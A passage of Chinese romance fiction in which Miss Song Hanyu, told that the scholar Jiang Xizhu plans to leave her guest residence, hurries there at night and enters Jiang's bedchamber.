周管事一愣：“是这里的丫鬟们伺候得不周到吗？” 江溪竹连连摇头：“丫鬟们很用心，是我和母亲不想太过叨扰宋小姐。” 周管事见她语气坚定，不好再劝，点了点头后，告辞离开了别院。 一回到如意居，她三步并作两步，飞快爬上三楼，来到了宋含玉面前。 “有事？”宋含玉低垂着头，修长的指节微微弯曲，搁在金算盘上，上下拨弄，比照着账本上的数目，快速算数。 周管事缓了缓气息，忙说道：“小姐，江秀才明日要回村了，说是要重新修老宅，不住在别院了。” 算珠声音一瞬间顿住，宋含玉抬起头来，“她明日就走？” 周管事点头：“她说不想继续叨扰小姐你了。” 话音落下，坐在案桌旁的人揉了揉眉心，站起身来，走到了门口。 “备马车，随我去别院。” 马车驶向南街的别院时，夜幕低垂，暮色渐浓，街道两旁弥漫着微弱的灯火。 别院里的人似乎已经沉睡，一路往后院赶去，檐角的烛火幽暗，月光拉长了身影。 女子闺房内，雕花床榻垂下绮罗，风过香漫，满室皆春。 江溪竹散开长发躺下，还未彻底睡过去，就听得门口有些动静，随后是小丫鬟的敲门声：“江秀才，您睡了吗？” 她侧过头，高声应道：“还没睡，有什么事吗？” “我家小姐找您有点事。”小丫鬟说完，便推开了门。 “宋小姐？”江溪竹还没反应过来，内室的木门就已打开，随后是一道轻缓的脚步。 摇曳的绮罗被一只莹白的手掀开，清浅的脂粉香随即扑面而来。